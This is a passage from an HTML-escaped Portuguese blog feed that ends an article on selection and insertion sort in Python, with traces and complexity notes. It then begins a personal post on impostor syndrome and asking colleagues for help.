&lt;p&gt;No algoritmo anterior tínhamos como finalidade mover o maior valor para o final do &lt;em&gt;array&lt;/em&gt;. Nesse, a finalidade é selecionar o valor mais baixo no &lt;em&gt;array&lt;/em&gt;, e movê-lo para o começo da estrutura.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;selection_sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
    Teste de mesa
    -------------

    array = []:
        - `len(array)` é `0`, não cai no primeiro no laço `for` e retorna array sem modificações

    array = [1]:
        - `len(array)` é `1`, entra no primeiro laço `for`
        - `min_index` é `0`, não entra no segundo laço
        - Retorna array sem modificações

    array = [1, 2]:
        - `len(array)` é `2`, entra no primeiro laço `for`
        - `i` é `0` e `min_index` é `0`. Entra no segundo laço `for`
        - `j` é `1`. `array[0]` não é maior que `array[1]`
        - Sai do segundo laço `for`
        - Faz swap `0` (`i`) e `0` (`min_index`)
        - Retorna array sem modificações

    array = [3, 1, 2, 4]:
        - `len(array)` é `4`, entra no primeiro laço `for`
        - `i` é `0` e `min_index` é `0`. Entra no segundo laço `for`
        - `j` é `1`. `array[0]` é maior que `array[1]`
        - `min_index` é `1`
        - `j` é `2`. `array[1]` não é maior que `array[2]`
        - `j` é `3`. `array[1]` não é maior que `array[3]`
        - Sai do segundo laço `for`
        - Faz swap `0` (`i`) e `1` (`min_index`)
        - `array` fica [1, 3, 2, 4]
        - `i` é `1` e `min_index` é `1`. Entra no segundo laço `for`
        - `j` é `2`. `array[1]` é maior que `array[2]`
        - `min_index` é `2`
        - `j` é `3`. `array[2]` não é maior que `array[3]`
        - Sai do segundo laço `for`
        - Faz swap `1` (`i`) e `2` (`min_index`)
        - `array` fica [1, 2, 3, 4]
        - `i` é `2` e `min_index` é `2`. Entra no segundo laço `for`
        - `j` é `3`. `array[2]` não é maior que `array[3]`
        - Sai do segundo laço `for`
        - Faz swap `2` (`i`) e `2` (`min_index`)
        - `i` é `3` e `min_index` é `3`. Não entra no segundo laço `for`
        - Faz swap `3` (`i`) e `3` (`min_index`)
        - Sai do primeiro laço `for`
        - Retorna array ordenado
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;swap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; j&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i

    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        min_index &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; j &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;min_index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                min_index &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; j

        swap&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; min_index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Ao alterar o array in-place, não há reais motivos para retorná-lo&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; array&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Running-time complexity&lt;/em&gt;: Ao percebermos os dois &lt;em&gt;loops&lt;/em&gt; alinhados, percorrendo a dimensão do &lt;em&gt;array&lt;/em&gt; cada, podemos concluir que a complexidade é de &lt;code class=&quot;language-text&quot;&gt;O(n^2)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Space complexity&lt;/em&gt;: Como operamos a troca de elementos (&lt;code class=&quot;language-text&quot;&gt;swap&lt;/code&gt;), não precisamos de nenhuma outra estrutura de dados para armazenar o resultado da operação, com isso, temos complexidade de espaço de &lt;code class=&quot;language-text&quot;&gt;O(1)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Insertion sort&lt;/h2&gt;
&lt;p&gt;Para finalizar essa primeira parte do artigo, apresentamos o &lt;em&gt;Insertion sort&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/6e67d1c722106442b422ee53e98575b3/algoritmos-insertion-sort.gif&quot; alt=&quot;Passos do Insertion sort (wikipedia.org)&quot;&gt;&lt;/p&gt;
&lt;p&gt;Embora ele se compare aos dois algoritmos acima em &lt;em&gt;running time&lt;/em&gt;, na minha opinião, imaginar o seu funcionamento demanda um pouquinho mais de esforço. Nesse algoritmo, o propósito é achar o lugar onde o elemento deveria estar no &lt;em&gt;array&lt;/em&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Para cada elemento &lt;code class=&quot;language-text&quot;&gt;A[i]&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Se &lt;code class=&quot;language-text&quot;&gt;A[i] &gt; A[i + 1]&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Troque os elementos até &lt;code class=&quot;language-text&quot;&gt;A[i] &amp;lt;= A[i + 1]&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Abaixo a implementação em &lt;em&gt;Python&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;insertion_sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
    Teste de mesa
    -------------

    array = []:
        - `len(array)` é `0`, não cai no laço `for` e retorno array sem modificações

    array = [1]:
        - `len(array)` é `1`, mas `range(1, len(array))` resulta em `[]`
        - Retorna array sem modificações

    array = [1, 2]:
        - `len(array)` é `2`, entra no laço `for`
        - `slot` é `1`. `value` é `2` e `test_slot` é `0`
        - `test_slot` é maior que `-1`, mas `array[0]` não é maior que `2`
        - `array[1]` recebe `2` (mesmo valor)
        - Retorna array sem modificações

    array = [3, 1, 2, 4]:
        - `len(array)` é `4`, entra no laço `for`
        - `slot` é `1`, `value` é `1` e `test_slot` é `0`
        - `test_slot` é maior que `-1` e `array[0]` é maior que `1`. Entra no laço `while`
        - `array[1]` recebe `array[0]`
        - `test_slot` é `-1`
        - `array` fica [3, 3, 2, 4]
        - `test_slot` não é maior que `-1`. Sai do laço `while`
        - `array[0]` recebe `1`
        - `array` fica [1, 3, 2, 4]
        - `slot` é `2`, `value` é `2` e `test_slot` é `1`
        - `test_slot` é maior que `-1` e `array[1]` é maior que `2`. Entra no laço `while`
        - `array[2]` recebe `3`
        - `test_slot` é `0`
        - `array` fica [1, 3, 3, 4]
        - `test_slot` é maior que `-1`, mas `array[0]` não é maior que `2`. Sai do laço `while`
        - `array[1]` recebe `2`
        - `array` fica [1, 2, 3, 4]
        - `slot` é `3`, `value` é `4` e `test_slot` é `2`
        - `test_slot` é maior que `-1`, mas `array[2]` não é maior que `4`. Não entra no laço `while`
        - `array[3]` recebe `4` (mesmo valor). Sai do laço `for`
        - Retorna array ordenado
    &quot;&quot;&quot;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; slot &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;slot&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        test_slot &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; slot &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; test_slot &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;test_slot&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;test_slot &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;test_slot&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
            test_slot &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; test_slot &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;

        array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;test_slot &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; value

    &lt;span class=&quot;token comment&quot;&gt;# Ao alterar o array in-place, não há reais motivos para retorná-lo&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; array&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Running-time complexity&lt;/em&gt;: No melhor cenário, o algoritmo terá complexidade &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt;. O mesmo apresenta complexidade &lt;code class=&quot;language-text&quot;&gt;O(n^2)&lt;/code&gt; como pior cenário.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Space complexity&lt;/em&gt;: Como operamos a troca de elementos (&lt;code class=&quot;language-text&quot;&gt;swap&lt;/code&gt;), não precisamos de nenhuma outra estrutura de dados para armazenar o resultado da operação, com isso, temos complexidade de espaço de &lt;code class=&quot;language-text&quot;&gt;O(1)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Os algoritmos listados nesse artigo não possuem performance atrativa, mas são a escolha perfeita para introduzir o conceito de algoritmos e ordenação de elementos. E por mais que você sinta-se tentado a defender a ótima característica de &lt;em&gt;space complexity&lt;/em&gt; que eles possuem, ainda assim há soluções mais práticas para os problemas de ordenação do cotidiano.&lt;/p&gt;
&lt;p&gt;Nos próximos artigos vamos explorar algumas delas, como o &lt;em&gt;Merge&lt;/em&gt; e &lt;em&gt;Quicksort&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://brilliant.org/wiki/bubble-sort/&quot;&gt;Brilliant - Bubble sort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brilliant.org/wiki/insertion/&quot;&gt;Brilliant - Insertion sort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brilliant.org/wiki/sorting-algorithms/&quot;&gt;Brilliant - Sorting Algorithms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/selection-sort/&quot;&gt;GeeksForGeeks - Selection sort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@george.seif94/a-tour-of-the-top-5-sorting-algorithms-with-python-code-43ea9aa02889&quot;&gt;George Seif - A tour of the top 5 sorting algorithms with Python code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.khanacademy.org/computing/computer-science/algorithms/sorting-algorithms/a/selection-sort-pseudocode&quot;&gt;Khan Academy - Selection sort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cs.cmu.edu/~adamchik/15-121/lectures/Sorting%20Algorithms/sorting.html&quot;&gt;Victor S. Adamchick - Sorting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Bubble_sort&quot;&gt;Wikipedia - Bubble sort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Insertion_sort&quot;&gt;Wikipedia - Insertion sort&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Peça ajuda!]]></title><description><![CDATA[Desde que assisti ao (razoável) Eu Sou a Lenda, uma pergunta instalou-se em minha cabeça: E se eu fosse o último ser humano vivo depois de…]]></description><link>https://klauslaube.com.br/2019/04/30/peca-ajuda.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/04/30/peca-ajuda.html</guid><pubDate>Tue, 30 Apr 2019 17:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Desde que assisti ao (razoável) &lt;a href=&quot;https://www.imdb.com/title/tt0480249/&quot; title=&quot;I Am Legend&quot;&gt;Eu Sou a Lenda&lt;/a&gt;, uma pergunta instalou-se em minha cabeça: E se eu fosse o último ser humano vivo depois de um apocalipse zumbi? Alguns bons anos depois da estreia do filme, posso dizer com toda a sobriedade que, se eu o fosse, seria por muita sorte, e possivelmente não viveria muito tempo mais.&lt;/p&gt;
&lt;h2&gt;Quantas pessoas é preciso para construir um lápis?&lt;/h2&gt;
&lt;p&gt;As vezes esquecemos que no mundo globalizado em que vivemos, é muito raro sermos os únicos agentes por trás de uma ideia ou produto. O lápis, que você usa diariamente e nem nota a tamanha importância que tem, &lt;a href=&quot;https://www.sucessonetwork.com.br/licoes-aprenda-com-o-lapis-e-como-construir-confianca-por-gilberto-suzuki/&quot; title=&quot;Aprenda com o Lápis e Como construir confiança&quot;&gt;passou pela mão de centenas de pessoas&lt;/a&gt; antes de chegar à sua mesa. Não é incomum olharmos algo simples, e automaticamente assumirmos como fácil.&lt;/p&gt;
&lt;p&gt;Algumas semanas atrás eu estava enfrentando uma daquelas tarefas &quot;toca do coelho da Alice&quot;. Na primeira estimativa do time parecia algo trivial, de baixa complexidade. Com o tempo, e descobrindo mais sobre os requisitos (de produto e técnicos), a complexidade foi crescendo exponencialmente. Logo, aquele &lt;em&gt;ticket&lt;/em&gt; que teoricamente seria resolvido em uma iteração, estava em seu terceiro &lt;em&gt;sprint&lt;/em&gt;, e sem grandes perspectivas de acabar.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/23e393d3a98246d5a742a40fd7b09c6d/828fb/help-starwars.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAgX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHLslI4JB//xAAaEAACAgMAAAAAAAAAAAAAAAAAAQIREBIi/9oACAEBAAEFAmokFDTjFss//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGRABAAIDAAAAAAAAAAAAAAAAAQARICEy/9oACAEBAAY/AmgmwnJh/8QAGRAAAwEBAQAAAAAAAAAAAAAAAAERIVFB/9oACAEBAAE/IWk2Dw0cG1jcLkV9JKJldP/aAAwDAQACAAMAAAAQiN//xAAWEQEBAQAAAAAAAAAAAAAAAAAAARH/2gAIAQMBAT8QrX//xAAXEQADAQAAAAAAAAAAAAAAAAABECEx/9oACAECAQE/EBNX/8QAGhABAQEBAAMAAAAAAAAAAAAAAREhADFBUf/aAAgBAQABPxAPLTRrH1zqjCDXfHQsk1Bbt6zavFAh8HgyD7//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Cena de Star Wars onde Leia pede ajuda a Obi-Wan&quot;
        title=&quot;Help me, Obi-Wan (starwars.com)&quot;
        src=&quot;/static/23e393d3a98246d5a742a40fd7b09c6d/828fb/help-starwars.jpg&quot;
        srcset=&quot;/static/23e393d3a98246d5a742a40fd7b09c6d/7809d/help-starwars.jpg 192w,
/static/23e393d3a98246d5a742a40fd7b09c6d/4ecad/help-starwars.jpg 384w,
/static/23e393d3a98246d5a742a40fd7b09c6d/828fb/help-starwars.jpg 630w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Help me, Obi-Wan (starwars.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Cada &lt;em&gt;daily meeting&lt;/em&gt; era uma tortura. Era como reconhecer que eu estava falhando como desenvolvedor, e que não tinha a capacidade de entregar uma história teoricamente simples. O medo de mostrar vulnerabilidade trouxe a necessidade de ser menos transparente em relação aos reais motivos por trás do atraso. No fim, só conseguia enxergar que eu era o culpado por todo aquele atraso, e que era o fim da linha para mim como desenvolvedor na empresa que eu havia acabado de ingressar.&lt;/p&gt;
&lt;p&gt;Era como correr de um zumbi, sem realmente ter um plano para escapar dele.&lt;/p&gt;
&lt;h2&gt;A Síndrome do Impostor ou Efeito Dunning-Kruger?&lt;/h2&gt;
&lt;p&gt;Nem preciso dizer que toda essa dinâmica resultou em picos altíssimos de ansiedade, e quando menos percebi estava preso no círculo vicioso da &lt;a href=&quot;https://pt.wikipedia.org/wiki/S%C3%ADndrome_do_impostor&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;Síndrome do Impostor&lt;/a&gt;. Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As pessoas que sofrem este tipo de síndrome, de forma permanente, temporária ou frequente, parecem incapazes de internalizar os seus feitos na vida. Não importando o nível de sucesso alcançado em sua área de estudo ou trabalho, ou quaisquer que sejam as provas externas de suas competências, essas pessoas permanecem convencidas de que não merecem o sucesso alcançado e que de fato são nada menos do que fraudes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O medo de descobrirem a &quot;fraude&quot; me colocou na defensiva. Uma cortina de fumaça. Se eu conseguisse resolver aquele problema, sem ajuda nenhuma, eu ganharia tempo, e todo esse episódio seria esquecido.&lt;/p&gt;
&lt;p&gt;Hoje fica fácil olhar para trás e reconhecer que na época, eu tinha pouca experiência com a plataforma &lt;em&gt;Java&lt;/em&gt;, e que eu deveria adicionar isso como argumento no momento da estimativa. Eu &quot;achava que sabia o que eu não sabia&quot;, uma espécie de &lt;a href=&quot;https://pt.wikipedia.org/wiki/Efeito_Dunning-Kruger&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;Efeito Dunning-Kruger&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) é o fenômeno pelo qual indivíduos que possuem pouco conhecimento sobre um assunto acreditam saber mais que outros mais bem preparados, fazendo com que tomem decisões erradas e cheguem a resultados indevidos; é a sua incompetência que os restringe da habilidade de reconhecer os próprios erros. Estas pessoas sofrem de superioridade ilusória.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&quot;Isso é fácil! Resolvo em um sprint, sem dúvida. Sou um excelente desenvolvedor&quot;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 625px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/19fd5f0161b7ef5b7dae555fa572e192/dfe3c/help-zombieland.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 42.1875%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIQAxAAAAHGglrCf//EABgQAQEAAwAAAAAAAAAAAAAAAAEAAhEx/9oACAEBAAEFAsAtE9//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAYEAACAwAAAAAAAAAAAAAAAAAAIQERMf/aAAgBAQAGPwKbaNEf/8QAGhAAAgIDAAAAAAAAAAAAAAAAAAERMSFRcf/aAAgBAQABPyFxXKClayW4OxH/2gAMAwEAAgADAAAAEI//AP/EABURAQEAAAAAAAAAAAAAAAAAABBB/9oACAEDAQE/EIf/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAaEAEBAQADAQAAAAAAAAAAAAABEQAhMVFx/9oACAEBAAE/EOD4Wb03QQEEAPtuBVHpA3//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Imagem do filme Zumbilandia - Seja um herói&quot;
        title=&quot;Não! Não seja um herói! (anythingzombie.com)&quot;
        src=&quot;/static/19fd5f0161b7ef5b7dae555fa572e192/dfe3c/help-zombieland.jpg&quot;
        srcset=&quot;/static/19fd5f0161b7ef5b7dae555fa572e192/7809d/help-zombieland.jpg 192w,
/static/19fd5f0161b7ef5b7dae555fa572e192/4ecad/help-zombieland.jpg 384w,
/static/19fd5f0161b7ef5b7dae555fa572e192/dfe3c/help-zombieland.jpg 625w&quot;
        sizes=&quot;(max-width: 625px) 100vw, 625px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não! Não seja um herói! (anythingzombie.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;É essa mesma superioridade ilusória que faz você acreditar que sim, sobreviveria a um &lt;em&gt;outbreak&lt;/em&gt; zumbi.&lt;/p&gt;
&lt;h2&gt;Somos um exército de um homem só&lt;/h2&gt;
&lt;p&gt;Só aprendi a controlar o ego através da &quot;dor&quot;. Somente após viver cercado de profissionais muito mais capazes do que eu o era, e que diariamente me provocavam um &lt;em&gt;reality check&lt;/em&gt;. Em algum momento desse período eu compreendi que era mais fácil adotar uma postura humilde, me aproximar de tais profissionais, e aprender o que fosse possível com eles.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/60d3d6498dc690335ad21ed3276d3957/be796/help-i-am-legend.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
